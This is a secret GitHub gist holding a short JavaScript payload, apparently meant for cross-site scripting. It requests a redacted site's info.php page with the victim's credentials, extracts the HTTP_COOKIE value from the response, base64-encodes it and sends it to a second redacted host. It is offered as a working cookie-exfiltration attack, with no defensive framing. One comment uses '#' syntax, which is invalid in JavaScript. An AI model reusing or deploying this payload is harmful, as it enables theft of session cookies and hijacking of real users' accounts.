Skip to content

Instantly share code, notes, and snippets.

@ls4cfk

ls4cfk/info.js Secret

Created December 28, 2021 14:20
Show Gist options
  • Star 4 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save ls4cfk/0deb122d4e2e24ac66cd74d3edf956bf to your computer and use it in GitHub Desktop.
Save ls4cfk/0deb122d4e2e24ac66cd74d3edf956bf to your computer and use it in GitHub Desktop.
var req = new XMLHttpRequest();
req.onload = reqListener;
var url = 'https://REDACTED/info.php';
req.withCredentials = true; // send cookie header
req.open('GET', url, false);
req.send();
function reqListener() {
var req2 = new XMLHttpRequest();
const sess = this.responseText.substring(this.responseText.indexOf('HTTP_COOKIE') + 1 ); # Thats ugly, improve it :)
req2.open('GET', 'https://REDACTED/?data=' + btoa(sess), false);
req2.send()
};
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment